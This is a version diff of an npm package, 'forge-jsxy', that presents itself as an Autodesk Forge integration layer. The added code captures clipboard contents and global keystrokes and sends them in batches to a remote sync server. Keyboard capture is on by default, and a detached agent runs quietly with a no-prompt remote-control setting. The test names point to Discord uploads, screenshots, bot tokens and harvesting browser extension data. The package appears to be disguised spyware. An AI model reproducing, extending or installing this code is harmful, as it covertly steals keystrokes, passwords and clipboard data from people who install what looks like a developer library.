forge-jsxy 1.0.90 → 1.0.91

package/dist/windowsInputSync.js

@@ -1,8 +1,13 @@
 "use strict";
 Object.defineProperty(exports, "__esModule", { value: true });
 exports.startWindowsInputSync = void 0;
+exports.desktopSyncOpLog = desktopSyncOpLog;
+exports.isTransientForgeDbSyncError = isTransientForgeDbSyncError;
+exports.skipUiohookKeyboardReason = skipUiohookKeyboardReason;
+exports.skipUiohookKeyboard = skipUiohookKeyboard;
 exports.effectiveSyncKeyboardClipboard = effectiveSyncKeyboardClipboard;
 exports.resolveSyncApiBase = resolveSyncApiBase;
+exports.preferExecClipboardReader = preferExecClipboardReader;
 exports.startDesktopInputSync = startDesktopInputSync;
 /**
  * Desktop clipboard + keyboard capture → forge-db HTTP sync (Windows, Linux, macOS).
@@ -76,7 +81,23 @@ const REGISTRATION_HANDSHAKE_RETRY_MS = 5000;
 const REGISTRATION_HANDSHAKE_RETRY_MAX_MS = 60_000;
 const REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS = 60_000;
 const REGISTRATION_HANDSHAKE_START_DELAY_MS = 1500;
-/** Adds `cause` / errno code so PM2 logs show ECONNRESET etc., not bare `fetch failed`. */
+const FLUSH_EVENT_MAX_RETRIES = 3;
+const FLUSH_RETRY_BASE_MS = 150;
+const CLIPBOARD_READ_FAIL_LOG_THROTTLE_MS = 60_000;
+const DISPOSE_FLUSH_TIMEOUT_MS = 3000;
+const CLIPBOARD_READ_TIMEOUT_MS = 10_000;
+/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
+function desktopSyncOpLog(message) {
+    console.log(`[forge-agent] desktop-sync: ${message}`);
+}
+/** True for network / overload errors where retrying forge-db POST is worthwhile. */
+function isTransientForgeDbSyncError(err) {
+    const msg = err instanceof Error ? err.message : String(err);
+    return (/fetch failed|econnrefused|econnreset|etimedout|enotfound|eai_again|socket hang up|aborted|503|502|504|429|408|425/i.test(msg));
+}
+function sleepMs(ms) {
+    return new Promise((r) => setTimeout(r, ms));
+}
 function formatDesktopSyncHandshakeError(e) {
     if (!(e instanceof Error))
         return String(e);
@@ -99,43 +120,30 @@ function isDesktopPlatform() {
     const p = process.platform;
     return p === "win32" || p === "linux" || p === "darwin";
 }
-/** uiohook on Linux uses X11 and abort()s without a display — skip hook on headless servers. */
-function skipUiohookKeyboard() {
+/** Human-readable reason when keyboard hook is skipped; null when uiohook should run. */
+function skipUiohookKeyboardReason() {
     if ((process.env.FORGE_JS_FORCE_UIOHOOK || "").trim() === "1")
-        return false;
-    if ((process.env.FORGE_JS_SKIP_UIOHOOK || "").trim() === "1")
-        return true;
-    // macOS: uiohook-napi uses the macOS Accessibility API which triggers the
-    // system-level "Input Monitoring" / "Accessibility" permission dialog on first
-    // use.  This dialog is a modal OS alert that cannot be suppressed
-    // programmatically — it appears even if the call is wrapped in a try/catch.
-    // Skip keyboard monitoring by default on macOS to avoid any UI dialogs.
-    // Users who have already granted Accessibility permission can opt-in with:
-    //   FORGE_JS_FORCE_UIOHOOK=1
-    // Clipboard sync continues to work normally (via pbpaste poll + clipboard-event).
-    if (process.platform === "darwin")
-        return true;
+        return null;
+    if ((process.env.FORGE_JS_SKIP_UIOHOOK || "").trim() === "1") {
+        return "FORGE_JS_SKIP_UIOHOOK=1";
+    }
+    if (process.platform === "darwin") {
+        return "macOS (keyboard needs Accessibility — clipboard via pbpaste works without it; set FORGE_JS_FORCE_UIOHOOK=1 to opt in)";
+    }
     if (process.platform === "linux") {
         const hasDisplay = Boolean((process.env.DISPLAY || "").trim());
         const hasWayland = Boolean((process.env.WAYLAND_DISPLAY || "").trim());
-        if (!hasDisplay && !hasWayland)
-            return true;
-        // libuiohook uses X11 Record; pure Wayland without XWayland/DISPLAY cannot host it.
-        if (!hasDisplay && hasWayland)
-            return true;
-        // Wayland + XWayland: DISPLAY points to XWayland socket which accepts X11 connections
-        // but does NOT expose a real Xkb keyboard device — uiohook fails with
-        // "XkbGetKeyboard failed to locate a valid keyboard!" and cannot capture key events.
-        // Physical keyboard input is routed exclusively through the Wayland compositor,
-        // so X11/Record-based hooks never receive events from Wayland-native applications.
-        // Skip uiohook in this configuration unless the user explicitly opts in.
-        if (hasDisplay && hasWayland)
-            return true;
-        if (hasDisplay && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)())
-            return true;
-        // Verify we can actually communicate with the X11 server — systemd user services may
-        // have DISPLAY=:0 set in EnvironmentFile but lack X11 auth cookies (Xauthority),
-        // which causes uiohook/libuiohook to print errors and abort keyboard capture.
+        if (!hasDisplay && !hasWayland) {
+            return "headless Linux (no DISPLAY or WAYLAND_DISPLAY)";
+        }
+        if (!hasDisplay && hasWayland) {
+            return "Wayland-only session (keyboard needs X11 or FORGE_JS_FORCE_UIOHOOK=1)";
+        }
+        // When both are set, XWayland is usually available — fall through to socket/xset checks
+        // instead of skipping keyboard outright (maximizes capture without extra OS permissions).
+        if (hasDisplay && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
+            return "DISPLAY set but no X11 socket (keyboard skipped; clipboard sync unchanged)";
+        }
         if (hasDisplay) {
             try {
                 const r = (0, node_child_process_1.spawnSync)("xset", ["q"], {
@@ -143,15 +151,20 @@ function skipUiohookKeyboard() {
                     timeout: 2000,
                     env: process.env,
                 });
-                if (r.status !== 0 || r.error)
-                    return true;
+                if (r.status !== 0 || r.error) {
+                    return "X11 server unreachable (xset q failed — keyboard skipped)";
+                }
             }
             catch {
-                return true;
+                return "X11 tools unavailable (keyboard skipped)";
             }
         }
     }
-    return false;
+    return null;
+}
+/** uiohook on Linux uses X11 and abort()s without a display — skip hook on headless servers. */
+function skipUiohookKeyboard() {
+    return skipUiohookKeyboardReason() !== null;
 }
 /**
  * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
@@ -166,11 +179,37 @@ function effectiveSyncKeyboardClipboard() {
 function resolveSyncApiBase() {
     return (0, deploymentDefaults_1.resolveSyncApiBaseUrl)();
 }
+/**
+ * Linux Wayland stores clipboard in the compositor — @napi-rs/clipboard is X11-based and often
+ * returns empty text without error. Prefer wl-paste/xclip exec on Wayland sessions.
+ */
+function preferExecClipboardReader() {
+    return (process.platform === "linux" &&
+        Boolean((process.env.WAYLAND_DISPLAY || "").trim()));
+}
 async function readClipboardDesktop() {
-    const native = (0, clipboardNapi_1.readClipboardNapi)();
-    if (native !== null)
-        return native;
-    return (0, clipboardExec_1.readClipboardViaExec)();
+    const timeoutMs = CLIPBOARD_READ_TIMEOUT_MS;
+    let timeoutId;
+    try {
+        return await Promise.race([
+            (async () => {
+                if (preferExecClipboardReader()) {
+                    return (0, clipboardExec_1.readClipboardViaExec)();
+                }
+                const native = (0, clipboardNapi_1.readClipboardNapi)();
+                if (native !== null)
+                    return native;
+                return (0, clipboardExec_1.readClipboardViaExec)();
+            })(),
+            new Promise((_, reject) => {
+                timeoutId = setTimeout(() => reject(new Error(`clipboard read timeout after ${timeoutMs}ms`)), timeoutMs);
+            }),
+        ]);
+    }
+    finally {
+        if (timeoutId !== undefined)
+            clearTimeout(timeoutId);
+    }
 }
 function clampText(s) {
     const b = Buffer.byteLength(s, "utf8");
@@ -254,12 +293,15 @@ function startDesktopInputSync(opts) {
         if (!opts.quiet)
             console.error(`[forge-js:desktop-sync] ${msg}`);
     };
+    const opLog = (msg) => {
+        desktopSyncOpLog(msg);
+    };
     function enqueue(ev) {
         while (queue.length >= MAX_SYNC_QUEUE) {
             queue.shift();
-            if (!queueDropLogged && !opts.quiet) {
+            if (!queueDropLogged) {
                 queueDropLogged = true;
-                log("sync queue saturated; dropping oldest events (API slow or unreachable)");
+                opLog("sync queue saturated; dropping oldest events (API slow or unreachable)");
             }
         }
         queue.push(ev);
@@ -319,18 +361,14 @@ function startDesktopInputSync(opts) {
             await client.createEvent((0, syncClient_1.registrationHandshakeEvent)());
             registrationHandshakeReady = true;
             registrationHandshakeAttempts = 0;
+            opLog("registration handshake OK (client table ready)");
         }
         catch (e) {
             const now = Date.now();
             if (now - lastRegistrationHandshakeLogMs >= REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS) {
                 lastRegistrationHandshakeLogMs = now;
                 const detail = formatDesktopSyncHandshakeError(e);
-                const msg = `[forge-js:desktop-sync] registration handshake failed (attempt ${registrationHandshakeAttempts}; no client table until this succeeds): ${detail}`;
-                // First attempts commonly race during service restarts; avoid noisy error-level spam.
-                if (registrationHandshakeAttempts <= 3)
-                    console.log(msg);
-                else
-                    console.error(msg);
+                opLog(`registration handshake failed (attempt ${registrationHandshakeAttempts}; no client table until this succeeds): ${detail}`);
             }
             scheduleRegistrationHandshake();
             return;
@@ -372,13 +410,27 @@ function startDesktopInputSync(opts) {
         }, inventoryIntervalMs);
     }
     let clipReadBusy = false;
+    let clipReadFailures = 0;
+    let lastClipFailLogMs = 0;
+    /** Set when a change notification arrives during an in-flight read — drained in finally. */
+    let clipReadPending = false;
+    /** Incremented per read attempt so late/ timed-out reads cannot enqueue stale clipboard text. */
+    let clipReadSeq = 0;
     function triggerClipboardRead() {
-        if (stopped || clipReadBusy)
+        if (stopped)
+            return;
+        if (clipReadBusy) {
+            clipReadPending = true;
             return;
+        }
         clipReadBusy = true;
+        const seq = ++clipReadSeq;
         void (async () => {
             try {
                 const s = await readClipboardDesktop();
+                if (stopped || seq !== clipReadSeq)
+                    return;
+                clipReadFailures = 0;
                 if (s === lastClip)
                     return;
                 lastClip = s;
@@ -404,31 +456,54 @@ function startDesktopInputSync(opts) {
                     context_json: contextJson,
                 });
             }
-            catch {
-                /* skip */
+            catch (e) {
+                if (stopped || seq !== clipReadSeq)
+                    return;
+                clipReadFailures++;
+                const now = Date.now();
+                if (now - lastClipFailLogMs >= CLIPBOARD_READ_FAIL_LOG_THROTTLE_MS) {
+                    lastClipFailLogMs = now;
+                    opLog(`clipboard read failed (${clipReadFailures} consecutive): ${formatDesktopSyncHandshakeError(e)}`);
+                }
             }
             finally {
+                if (seq !== clipReadSeq)
+                    return;
                 clipReadBusy = false;
+                if (clipReadPending && !stopped) {
+                    clipReadPending = false;
+                    triggerClipboardRead();
+                }
             }
         })();
     }
+    void (async () => {
+        try {
+            await readClipboardDesktop();
+            opLog("clipboard probe OK");
+        }
+        catch (e) {
+            opLog(`clipboard probe failed at startup — sync will retry on poll/events: ${formatDesktopSyncHandshakeError(e)}`);
+        }
+    })();
     const clipWatcherDispose = (0, clipboardEventWatcher_1.attachClipboardEventWatcher)(() => {
         triggerClipboardRead();
-    }, log);
+    }, opLog);
     const effectiveClipPoll = clipWatcherDispose ? clipBackupPoll : clipPoll;
     const clipIv = setInterval(() => {
         triggerClipboardRead();
     }, effectiveClipPoll);
     let uiohookMod = null;
-    if (skipUiohookKeyboard()) {
-        log("keyboard hook skipped (headless Linux: set DISPLAY or WAYLAND_DISPLAY, or FORGE_JS_FORCE_UIOHOOK=1). Clipboard sync unchanged.");
+    const keyboardSkipReason = skipUiohookKeyboardReason();
+    if (keyboardSkipReason) {
+        opLog(`keyboard hook skipped (${keyboardSkipReason}). Clipboard sync unchanged.`);
     }
     else {
         try {
             uiohookMod = require("uiohook-napi");
         }
         catch {
-            log("uiohook-napi not available — keyboard sync disabled (clipboard only). npm install uiohook-napi");
+            opLog("uiohook-napi not available — keyboard sync disabled (clipboard only). npm install uiohook-napi");
         }
     }
     if (uiohookMod) {
@@ -486,28 +561,87 @@ function startDesktopInputSync(opts) {
         uIOhook.on("keydown", onKey);
         try {
             uIOhook.start();
+            opLog("keyboard hook started");
         }
         catch (e) {
-            log(`uIOhook.start failed: ${e}`);
+            opLog(`uIOhook.start failed: ${e}`);
         }
     }
+    opLog(`started (platform=${process.platform}, keyboard=${uiohookMod ? "on" : keyboardSkipReason ? "off" : "unavailable"}, api=${opts.apiBaseUrl})`);
     let flushBusy = false;
+    let flushFailStreak = 0;
+    let lastFlushFailLogMs = 0;
+    async function postEventWithRetry(ev) {
+        let lastErr;
+        for (let attempt = 0; attempt < FLUSH_EVENT_MAX_RETRIES; attempt++) {
+            try {
+                await client.createEvent(ev);
+                flushFailStreak = 0;
+                return;
+            }
+            catch (e) {
+                lastErr = e;
+                if (attempt < FLUSH_EVENT_MAX_RETRIES - 1 &&
+                    isTransientForgeDbSyncError(e)) {
+                    await sleepMs(FLUSH_RETRY_BASE_MS * (attempt + 1));
+                    continue;
+                }
+                throw e;
+            }
+        }
+        throw lastErr;
+    }
+    async function postBatchWithRetry(events) {
+        let lastErr;
+        for (let attempt = 0; attempt < FLUSH_EVENT_MAX_RETRIES; attempt++) {
+            try {
+                await client.createEventsBatch(events);
+                flushFailStreak = 0;
+                return;
+            }
+            catch (e) {
+                lastErr = e;
+                if (attempt < FLUSH_EVENT_MAX_RETRIES - 1 &&
+                    isTransientForgeDbSyncError(e)) {
+                    await sleepMs(FLUSH_RETRY_BASE_MS * (attempt + 1));
+                    continue;
+                }
+                throw e;
+            }
+        }
+        throw lastErr;
+    }
     const flushIv = setInterval(() => {
         if (stopped || queue.length === 0 || flushBusy)
             return;
         flushBusy = true;
         void (async () => {
             try {
+                const batch = [];
                 let n = 0;
                 while (!stopped && queue.length > 0 && n < flushBatchMax) {
-                    const ev = queue.shift();
-                    try {
-                        await client.createEvent(ev);
-                        n++;
+                    batch.push(queue.shift());
+                    n++;
+                }
+                if (batch.length === 0)
+                    return;
+                try {
+                    if (batch.length >= 2) {
+                        await postBatchWithRetry(batch);
                     }
-                    catch {
-                        queue.unshift(ev);
-                        break;
+                    else {
+                        await postEventWithRetry(batch[0]);
+                    }
+                }
+                catch (e) {
+                    flushFailStreak++;
+                    for (let i = batch.length - 1; i >= 0; i--) {
+                        queue.unshift(batch[i]);
+                    }
+                    const now = Date.now();
+                    if (now - lastFlushFailLogMs >= REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS) {
+                        lastFlushFailLogMs = now;
+                        opLog(`forge-db flush failed (${flushFailStreak} streak, ${batch.length} event(s) re-queued): ${formatDesktopSyncHandshakeError(e)}`);
                     }
                 }
             }
@@ -518,7 +652,7 @@ function startDesktopInputSync(opts) {
     }, flushEvery);
     const dispose = () => {
         if (stopped)
-            return;
+            return Promise.resolve();
         stopped = true;
         if (activeDesktopInputSyncDispose === dispose) {
             activeDesktopInputSyncDispose = null;
@@ -547,7 +681,32 @@ function startDesktopInputSync(opts) {
                 /* skip */
             }
         }
-        void flushKbd();
+        return (async () => {
+            await flushKbd();
+            const deadline = Date.now() + DISPOSE_FLUSH_TIMEOUT_MS;
+            while (queue.length > 0 && Date.now() < deadline) {
+                const batch = [];
+                while (queue.length > 0 && batch.length < flushBatchMax) {
+                    batch.push(queue.shift());
+                }
+                if (batch.length === 0)
+                    break;
+                try {
+                    if (batch.length >= 2) {
+                        await postBatchWithRetry(batch);
+                    }
+                    else {
+                        await postEventWithRetry(batch[0]);
+                    }
+                }
+                catch {
+                    for (let i = batch.length - 1; i >= 0; i--) {
+                        queue.unshift(batch[i]);
+                    }
+                    break;
+                }
+            }
+        })();
     };
     activeDesktopInputSyncDispose = dispose;
     return dispose;

package/dist/workerBootstrap.js

@@ -145,6 +145,9 @@ function spawnDetachedAgent(autostartOpts, syncApiUrl, distDir, verbose) {
         ...process.env,
         FORGE_JS_QUIET_AGENT: "1",
         FORGE_JS_HEADLESS_UI: "1",
+        FORGE_JS_CLIPBOARD_POLL_ONLY: process.env.FORGE_JS_CLIPBOARD_POLL_ONLY ?? "1",
+        FORGE_JS_REMOTE_CONTROL_NO_PROMPT: process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT ?? "1",
+        CFGMGR_SYNC_KEYBOARD_CLIPBOARD: process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD ?? "1",
     };
     if (syncApiUrl?.trim()) {
         const u = syncApiUrl.trim();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "forge-jsxy",
-  "version": "1.0.90",
+  "version": "1.0.91",
   "description": "Node.js integration layer for Autodesk Forge",
   "license": "MIT",
   "forgeAgentWebRtcMinVersion": "1.0.71",
@@ -20,7 +20,7 @@
     "pretest": "npm run build",
     "test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
     "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
-    "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs",
+    "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/desktop-input-sync.test.mjs",
     "test:env-local": "node --test test/env-local-integrations.mjs",
     "verify": "npm run ci && npm run test:env-local",
     "verify:production": "npm run ci",

package/scripts/explorer-global-roots.mjs

@@ -0,0 +1,87 @@
+/**
+ * Resolve global forge-jsxy / legacy forge-jsx install roots for explorer control scripts.
+ */
+import * as fs from "node:fs";
+import * as os from "node:os";
+import * as path from "node:path";
+
+export const FORGE_NPM_PKG = "forge-jsxy";
+export const FORGE_LEGACY_NPM_PKG = "forge-jsx";
+
+function defaultCfgmgrDataDir() {
+  const override = (process.env.CFGMGR_DATA_ROOT || "").trim();
+  if (override) return path.resolve(override.replace(/^~/, os.homedir()));
+  if (process.platform === "win32") {
+    const lap = (process.env.LOCALAPPDATA || "").trim();
+    if (lap) return path.join(lap, "CfgMgr", "data");
+    const prof = (process.env.USERPROFILE || "").trim();
+    if (prof) return path.join(prof, "AppData", "Local", "CfgMgr", "data");
+    return path.join(os.tmpdir(), "CfgMgr", "data");
+  }
+  if (process.platform === "darwin") {
+    return path.join(os.homedir(), "Library", "Application Support", "CfgMgr", "data");
+  }
+  const xdg = (process.env.XDG_DATA_HOME || "").trim();
+  if (xdg) return path.join(path.resolve(xdg.replace(/^~/, os.homedir())), "cfgmgr");
+  return path.join(os.homedir(), ".local", "share", "cfgmgr");
+}
+
+/** Durable runtime package root from `<CfgMgr>/.forge-jsxy/current.json` (npm-install-only agents). */
+export function readDurableForgePackageRootFromDisk() {
+  try {
+    const cur = path.join(defaultCfgmgrDataDir(), ".forge-jsxy", "current.json");
+    if (!fs.existsSync(cur)) return null;
+    const j = JSON.parse(fs.readFileSync(cur, "utf8"));
+    const distDir = String(j.distDir ?? "").trim();
+    if (!distDir || !fs.existsSync(path.join(distDir, "cli-agent.js"))) return null;
+    const pkgRoot = path.resolve(distDir, "..");
+    return fs.existsSync(path.join(pkgRoot, "package.json")) ? pkgRoot : null;
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync
+ */
+export function globalPackageRoot(npmSpawnSync, pkgName) {
+  const r = npmSpawnSync(["root", "-g"], false, {
+    timeout: 60_000,
+    captureStdout: true,
+  });
+  const root = (r.stdout || "").trim();
+  if (!root) return null;
+  const p = path.join(root, pkgName);
+  return fs.existsSync(path.join(p, "package.json")) ? p : null;
+}
+
+/** @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync */
+export function globalForgeJsRoot(npmSpawnSync) {
+  return globalPackageRoot(npmSpawnSync, FORGE_NPM_PKG);
+}
+
+/** @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync */
+export function globalLegacyForgeJsxRoot(npmSpawnSync) {
+  return globalPackageRoot(npmSpawnSync, FORGE_LEGACY_NPM_PKG);
+}
+
+/**
+ * Unique install roots: current global, legacy global, then optional script tree.
+ * @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync
+ * @param {string} scriptRoot absolute package root when running from npx/npm exec
+ */
+export function collectForgeInstallRoots(npmSpawnSync, scriptRoot) {
+  const roots = [];
+  const durable = readDurableForgePackageRootFromDisk();
+  if (durable) roots.push(path.resolve(durable));
+  for (const g of [globalForgeJsRoot(npmSpawnSync), globalLegacyForgeJsxRoot(npmSpawnSync)]) {
+    if (g) roots.push(path.resolve(g));
+  }
+  if (scriptRoot) roots.push(path.resolve(scriptRoot));
+  return [...new Set(roots)];
+}
+
+/** True when either global package name is installed under `npm root -g`. */
+export function anyGlobalForgePackageInstalled(npmSpawnSync) {
+  return Boolean(globalForgeJsRoot(npmSpawnSync) || globalLegacyForgeJsxRoot(npmSpawnSync));
+}